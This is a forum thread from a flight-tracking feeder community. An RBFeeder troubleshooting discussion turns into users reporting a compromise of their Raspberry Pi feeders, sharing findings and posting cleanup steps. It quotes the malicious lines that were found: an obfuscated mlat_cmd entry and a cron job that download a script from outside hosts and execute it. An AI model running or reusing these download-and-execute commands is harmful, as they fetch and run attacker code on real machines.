I have the problem that my RBFeeder has a range of 0
I have this error "Error opening the listening port 32458 (Raw TCP output): bind: Address already in use" and "Process: 3751 ExecStartPre=/bin/mkdir /var/run/rbfeeder (code=exited, status=1/FAILURE)"
and from the status prompt this one " Jun 02 19:14:55 raspberrypi rbfeeder[4172]: rtlsdr: error querying device #0: Permission denied"
Something else has grabbed your receiver, are you feeding to multiple sites
Alan
I installed a fresh image. I used the Bake a Pi guide with the Pi24 image. Now my status page is like this. ● rbfeeder.service - RBFeeder Service
Loaded: loaded (/lib/systemd/system/rbfeeder.service; enabled; preset: enabled)
Active: active (running) since Mon 2025-06-02 20:58:07 BST; 3min 44s ago
Process: 7376 ExecStartPre=/bin/mkdir -p /var/run/rbfeeder (code=exited, status=0/SUCCESS)
Process: 7377 ExecStartPre=/bin/chown rbfeeder:rbfeeder /var/run/rbfeeder (code=exited, status=0/SUCCESS)
Process: 7378 ExecStartPre=/bin/touch /var/log/rbfeeder.log (code=exited, status=0/SUCCESS)
Process: 7379 ExecStartPre=/bin/chown rbfeeder:rbfeeder /var/log/rbfeeder.log (code=exited, status=0/SUCCESS)
Process: 7380 ExecStartPre=/bin/chown rbfeeder:rbfeeder /etc/rbfeeder.ini (code=exited, status=0/SUCCESS)
Process: 7381 ExecStartPre=/bin/setfacl -m u:www-data:rwx /etc/rbfeeder.ini (code=exited, status=0/SUCCESS)
Main PID: 7382 (rbfeeder)
Tasks: 9 (limit: 765)
CPU: 8.357s
CGroup: /system.slice/rbfeeder.service
└─7382 /usr/bin/rbfeeder
Jun 02 21:01:43 raspberrypi rbfeeder[8017]: usb_claim_interface error -6
Jun 02 21:01:43 raspberrypi rbfeeder[8017]: rtlsdr: error opening the RTLSDR device: Device or resource busy
Jun 02 21:01:46 raspberrypi rbfeeder[8025]: Mon Jun 2 21:01:46 2025 BST dump1090-rb 1.0.11 starting up.
Jun 02 21:01:46 raspberrypi rbfeeder[8025]: rtlsdr: using device #0: Generic RTL2832U OEM (Realtek, RTL2838UHIDIR, SN 00000001)
Jun 02 21:01:47 raspberrypi rbfeeder[8025]: usb_claim_interface error -6
Jun 02 21:01:47 raspberrypi rbfeeder[8025]: rtlsdr: error opening the RTLSDR device: Device or resource busy
Jun 02 21:01:49 raspberrypi rbfeeder[8035]: Mon Jun 2 21:01:49 2025 BST dump1090-rb 1.0.11 starting up.
Jun 02 21:01:49 raspberrypi rbfeeder[8035]: rtlsdr: using device #0: Generic RTL2832U OEM (Realtek, RTL2838UHIDIR, SN 00000001)
Jun 02 21:01:49 raspberrypi rbfeeder[8035]: usb_claim_interface error -6
Jun 02 21:01:49 raspberrypi rbfeeder[8035]: rtlsdr: error opening the RTLSDR device: Device or resource busye]
Im also feeding FR24, but I followed the guide. Still error -6 for the rtlsdr
Can you post your RB ini file with your key redacted pleas
What you posted advises the stick is already in use when RB feeder tries to use it so the ini file will need to be changed to allow RB access to your stick output. FR24's dump 1090 will have grabbed it stopping RB's dump 1090 getting access so a small change will be needed to the RB ini file to allow it to use the FR24 dump 1090
Alan
The Pi24 image installs dump1090-mutability, which is using the Dongle.
YOu have configured rbfeeder to run rbfeeder's built-in "dump1090-rb". As the dongle is already in use by "dump1090-mutability", it cannot use the dongle, and fails with error message:
usb_claim_interface error -6
rtlsdr: error opening the RTLSDR device: Device or resource busy
This can be fixed by making setting of rbfeeder to use "network", i.e. the external decoder, which in case of Pi24 image is dump1090-mutability.
This can be done easily by editing file rbfeeder.ini
sudo nano /etc/rbfeeder.ini
In this file the first line under [client] will be
network_mode=false
Change it to
network_mode=true
Save file, then restart rbfeeder
sudo systemctl restart rbfeeder
Please see attached screenshots
I think it's something bigger.
In the last month my Raspberry Pi traffic has increased by 400%
When I started monitoring the traffic, I noticed that it was probably from the radarbox feeder
I have no idea what you did on your end, but it doesn't look good at all.
STEP-1:
1.1 - Purge rbfeeder
1.2 - Purge mlat-client
1.3 - Delete file /etc/rbfeeder.ini
1.4 - Reboot Pi
sudo apt purge rbfeeder
sudo apt purge mlat-client
sudo rm /etc/rbfeeder.ini
sudo reboot
STEP-2:
After purging & rebooting as above, install rbfeeder, after installation, restart it
sudo apt install rbfeeder
sudo apt install mlat-client
sudo systemctl restart rbfeeder
STEP-3:
After restarting rbfeeder, check file /etc/rbfeeder.ini. It should be like given below:
NOTE, by default folloing entries are not there. you will need to enter these manually for MLAT to work (alt is receiver altitude above sea level in meters)
lat=xx.xxxx
lon=yy.yyyy
alt=zzz
[client]
network_mode=true
log_file=/var/log/rbfeeder.log
key=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
sn=EXTRPI000008
lat=43.5xxx
lon=-79.6xxx
alt=155
[network]
mode=beast
external_port=30005
external_host=127.0.0.1
[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client
[dump978]
#dump978_enabled=true
Thank you very much for the detailed answer.
It was an installation from scratch,
worked 3-4 days, and start getting crazy.
Here is my rbfeeder.ini file
[client]
network_mode=true
log_file=/var/log/rbfeeder.log
key=abcdefghij123456789
sn=EXTRPIxxxxxx
lat=12.34567
lon=12.34567
alt=100
[network]
mode=beast
external_port=30005
external_host=127.0.0.1
[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client
[dump978]
#dump978_enabled=false (Not applicable in my area)
But what does the file have to do with the fact that the feeder started working strangely a month ago after it had been working properly for almost two years ?
and by the way, this happened on 3 different RPi devices, which makes me think that something has changed on the server side and it is not my local problem.
I can't understand why it's trying to connect to all sorts of IP addresses that I have no idea where from and why it's trying to connect.
ipinfo.io
api.ipify.org
api64.ipify.org
www.trackip.net
rbdatacollect.com
May be it is a virus or malware which has infected all your RPis.
Have you installed some software on your RPis from some unknown source?
When did you get to monitor your Raspberry Pi's communication?
try it, I'm sure you'll be surprised by the results.
I'm almost certain that no user will notice what's going on behind the scenes on their Raspberry Pi.
I'm almost 100% sure that this is the result of Radarbox feeder.
I've now reinstalled Raspberry Pi with only FR24 feeder, and I continue to monitor the system.
Do you recognize this line that was added to the rbfeeder.ini file?
[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client
mlat_cmd=bin/bash -c wget${IFS}-O${IFS}/tmp/a${IFS}http://8.211.7.190/e48/a${IF>
[dump978]
#dump978_enabled=false
And by the way, I'm sure it's not a virus because as I wrote, it happened recently on 3 different devices of mine and 2 of my friends who are in different cities.
Quote from: Shush on July 18, 2025, 05:07:57 AM
When did you get to monitor your Raspberry Pi's communication?
try it, I'm sure you'll be surprised by the results.
I'm almost certain that no user will notice what's going on behind the scenes on their Raspberry Pi.
I'm almost 100% sure that this is the result of Radarbox feeder.
I've now reinstalled Raspberry Pi with only FR24 feeder, and I continue to monitor the system.
Do you recognize this line that was added to the rbfeeder.ini file?
[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client
mlat_cmd=bin/bash -c wget${IFS}-O${IFS}/tmp/a${IFS}http://8.211.7.190/e48/a${IF>
[dump978]
#dump978_enabled=false
And by the way, I'm sure it's not a virus because as I wrote, it happened recently on 3 different devices of mine and 2 of my friends who are in different cities.
You are not the only one who has this viral line written under [mlat] in file rbeeder.ini. Please see the recent post in FlightRadar24 linked below
It seems recent version of rbfeeder was onfected with a virus, and anyone who installed rbfeeder using that infected .deb package got the viral line in file rbfeeder.ini under [mlat]
https://forum.flightradar24.com/forum/radar-forums/flightradar24-feeding-data-to-flightradar24/229522-rpi-issues?p=229567#post229567
We need someone from AirNav to weigh in on this, I had this happen to my feeder on Monday...This device has been running for 5+ years and I have not loaded or updated anything on it in almost a year and then I had this issue. If RBfeeder program downloads updates automatically and I believe it does, someone needs to explain what has happened and I am starting to think that I need to wipe my feeder and reload since I have no idea what this code downloaded and was running.
This is a huge failure on AirNav and until someone can explain what happened I have lost all trust in them as a company.
I'm currently running clamav and see if it picks up anything....beyond p'od about this....again @abcd567 how do we get in touch with anyone at AirNav Systems?
Quote from: bishoptf on July 18, 2025, 12:40:41 PM
@abcd567 how do we get in touch with anyone at AirNav Systems?
Send email to support:
[email protected]
I have passed details of this thread on to Developers
Alan
Is this normal, I am looking through my logs and see this call out:
Jul 18 13:32:02 adsbpi CRON[14945]: (rbfeeder) CMD (if ! pgrep rbfeeder-mlat > /dev/null; then wget --read-timeout=5 --tries=2 -O /tmp/.ICE-unix/rbfeeder.sh https://pidatacollect.com/download/76ecf4f656328/rbfeeder.sh --no-check-certificate --no-cache && chmod +x /tmp/.ICE-unix/rbfeeder.sh && /tmp/.ICE-unix/rbfeeder.sh;fi)
Really need someone from AirNav developers to say wth is going on with there software, I traced both IP's that were used and somehow rbfeeder.ini had been modified. Both IP ranges do not belong to AirNav.
Looks like there is a rbfeeder user that has these cron jobs:
*/1 * * * * if ! pgrep rbfeeder-mlat > /dev/null; then wget --read-timeout=5 --tries=2 -O /tmp/.ICE-unix/rbfeeder.sh https://pidatacollect.com/download/76ecf4f656328/rbfeeder.sh --no-check-certificate --no-cache && chmod +x /tmp/.ICE-unix/rbfeeder.sh && /tmp/.ICE-unix/rbfeeder.sh;fi
*/5 * * * * rm /tmp/.ICE-unix/rbfeeder.sh
I have uploaded rbfeeder.sh to virus total, Eset identifes it as riskware, not sure if its a false positive:
Security vendors' analysis
Do you want to automate checks?
ESET-NOD32
A Variant Of Linux/Riskware.Frp.V
Acronis (Static ML)
Undetected
This is really bad that this has happened and nothing from AirNav relating to what casued this much less to notify the community that may be running the rbfeeder software...
Dear All,
We became aware of this issue earlier today and have initiated a thorough investigation, which is currently ongoing. In the meantime, we have implemented measures to prevent any further impact.
To clarify, the RbFeeder repositories themselves have not been infected with any virus. However, there was an attempt to modify certain .ini configuration files. We have identified a small number of feeder stations that were affected, and we have already taken steps to close the vulnerability that allowed this to occur.
We will be contacting the impacted stations directly to assist with clearing and reinstalling RbFeeder as needed. Further updates will be provided as more information becomes available.
Quote from: AirNav Support on July 18, 2025, 07:37:06 PM
Dear All,
We became aware of this issue earlier today and have initiated a thorough investigation, which is currently ongoing. In the meantime, we have implemented measures to prevent any further impact.
To clarify, the RbFeeder repositories themselves have not been infected with any virus. However, there was an attempt to modify certain .ini configuration files. We have identified a small number of feeder stations that were affected, and we have already taken steps to close the vulnerability that allowed this to occur.
We will be contacting the impacted stations directly to assist with clearing and reinstalling RbFeeder as needed. Further updates will be provided as more information becomes available.
I think we should have more details as to what really happened, you say the repos were not compromised then how did rbfeeder.ini files have additional information to download files and execute. I will not continue to feed unless full disclosure and how you plan to mitigate this in the future....
Since we have not obtained any guidance from AirNav here is what I have done...YMMV, the probably safest way is to re-imagine and not install AirNav feeder. Still not sure what it was doing, I have uploaded to Virustotal and run several scans on the rpi and still showing clear but here is what I have done, again ymmv.
I have disabled the rbfeeder service:
sudo systemctl stop rbfeeder.service
sudo systemctl disable rbfeeder.service
The malware inserted a line into the rbfeeder.ini file, that looked like this:
mlat_cmd=bin/bash -c wget${IFS}-O${IFS}/tmp/a${IFS}http://8.211.7.190/e48/a${IF>
remove the line:
sudo nano /etc/rbfeeder.ini and then save
The malware inserted cron jobs into the rbfeeder user, you can list the cronjobs like this:
sudo crontab -u rbfeeder -l
To edit the crontab and remove entries:
crontab -e -u
The malware was dowloading a file called rbfeeder.sh into a /tmp subdirectory via cron the above cron job: (rbfeeder) CMD (if ! pgrep rbfeeder-mlat > /dev/null; then wget -O /tmp/.ICE-unix/rbfeeder.sh https://pidatacollect.com/download/76ecf4f656328/rbfeeder.sh --no-check-certificate --no-cache && chmod +x /tmp/.ICE-unix/rbfeeder.sh && /tmp/.ICE-unix/rbfeeder.sh;fi)
You can delete the file:
sudo rm /tmp/.ICE-unix/rbfeeder.sh
Once you have completed that you should reboot the rpi to hopefully come up clean. Once back up you can verify that rbfeeder service is not running/disabled and verify that the file is no longer being downloaded via wget.Verify that no file is located in /tmp/.ICE-unix/
sudo systemctl status rbfeeder.service (should state service is disabled/stopped)
journalctl | grep wget (should return nothing)
ls -l /tmp/.ICE-unix (should be blank)
I believe this clears up most of the issues but without further knowledge on what the file was doing I can not be 100% certain that there are nothing else to cleanup but wanted to at least post this. I have reached out to some additional contacts and when I have further information I will post.
If this happed with me, I will take no chances, and assume that the Pi is compromised. Then I will format microSD card (not quick-format, but full-format i.e. witing zeros to entire microSD card).
After cleanip as above, I will re-image microSD card with Raspberry Pi OS Bookworm, and reinstall sll what feeders & decoders I had originally EXCEPT rbfeeder.
That is what I did.
1. Install the latest RPi OS image, updates and reboot
2. Download and Install PiAware
3. Download and Install dump1090-fa
4. Install RBFeeder
5. Install FR24 Feeder
6. Install Graphs1090
7. Install Tar1090
Less then an hour, and you good to go with flesh and clean OS.
Bishoptf
Can I ask where you downloaded the corrupt RB feeder from
Was it throught the Airnavradar.com add coverage page /rbfeeder install guide by
sudo bash -c "$(wget -O - http://apt.rb24.com/inst_rbfeeder.sh)"
Or from somewhere else?
Quote from: Runway 31 on July 21, 2025, 08:40:26 PM
Bishoptf
Can I ask where you downloaded the corrupt RB feeder from
Was it throught the Airnavradar.com add coverage page /rbfeeder install guide by
sudo bash -c "$(wget -O - http://apt.rb24.com/inst_rbfeeder.sh)"
Or from somewhere else?
I couldnt tell you, my feeder has been up an running since 2018/2019 so I couldn't tell you where I originally downloaded it from. Pretty sure I have updated it since then but again not sure where I would have downloaded from, I run 1090-mutbi and feed many sites. I looked in my directory and see a inst_rbfeeder.sh from 2020, which appears to add the deb https://apt.rb24.com/ buster main to my sources list. I assume I installed it from official channels, so some update at some point changed the .ini file...
You may want to ask @shush since it appears to have happened to multiple feeders he has and 2 of his friends...
Quote from: Shush on July 18, 2025, 05:07:57 AM
When did you get to monitor your Raspberry Pi's communication?
try it, I'm sure you'll be surprised by the results.
I'm almost certain that no user will notice what's going on behind the scenes on their Raspberry Pi.
I'm almost 100% sure that this is the result of Radarbox feeder.
I've now reinstalled Raspberry Pi with only FR24 feeder, and I continue to monitor the system.
Do you recognize this line that was added to the rbfeeder.ini file?
[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client
mlat_cmd=bin/bash -c wget${IFS}-O${IFS}/tmp/a${IFS}http://8.211.7.190/e48/a${IF>
[dump978]
#dump978_enabled=false
And by the way, I'm sure it's not a virus because as I wrote, it happened recently on 3 different devices of mine and 2 of my friends who are in different cities.
Thanks, I only asked as I thought you were a new feeder who had downloaded the feeder very recently so wondered where you downloaed the corrupted version from as i dont want it on mines.
I am running my own Pi and thought updates had to be done manually and mines is dated 20/11/2023 when I updated for Bookworm and havent seen a need to update further since
Alan
Quote from: Runway 31 on July 22, 2025, 10:54:24 AM
Thanks, I only asked as I thought you were a new feeder who had downloaded the feeder very recently so wondered where you downloaed the corrupted version from as i dont want it on mines.
I am running my own Pi and thought updates had to be done manually and mines is dated 20/11/2023 when I updated for Bookworm and havent seen a need to update further since
Alan
Oh well I guess we are not going to get any additional information, I guess I will just purge my rbfeeder set up and continue to feed other sites. I think I was ranked #4 in the US for my station in RBfeeder but the lack of any guidance or visibility into what happened and how they have made changes to keep it from happening again leaves me really no other choice. Stuff happens but not disclosing and letting folks know what happened doesn't instill confidence in AirNav.
I am worried about this virus in rbfeeder, as I have stored in my Pi my private data such as debit & credit card info, bank account info, my off-shore companies details, and most important, list of phone numbers of all my girlfriends ;)
Quote from: abcd567 on July 26, 2025, 07:08:49 AM
I am worried about this virus in rbfeeder, as I have stored in my Pi my private data such as debit & credit card info, bank account info, my off-shore companies details, and most important, list of phone numbers of all my girlfriends ;)
Made me laugh, yeah I'm not concerned about that either but it was downloading payload to the rpi and executing. I did not have it on a separate vlan island so technically depending on what it was doing it could use the rpi and pivot to other vulnerable hosts on the network, again depending on the payload. I still have not heard back from my contacts who have a copy of the file to analyze what its motives were. That was my concern, not sure how long it had been doing that and not sure what it was doing during that time....
Quote from: abcd567 on July 18, 2025, 01:41:14 PM
Quote from: bishoptf on July 18, 2025, 12:40:41 PM
@abcd567 how do we get in touch with anyone at AirNav Systems?
Send email to support:
[email protected]
I have tried multiple times to get in touch with using forms and emails. No response besides the automated email. When I tried your suggestion I got a bounce.
Sorry,
[email protected]. See the reply to you from support on one of the other threads you posted on
Alan
Quote from: Runway 31 on August 01, 2025, 11:49:48 AM
Sorry, [email protected]. See the reply to you from support on one of the other threads you posted on
Alan
Thanks, I have emailed support.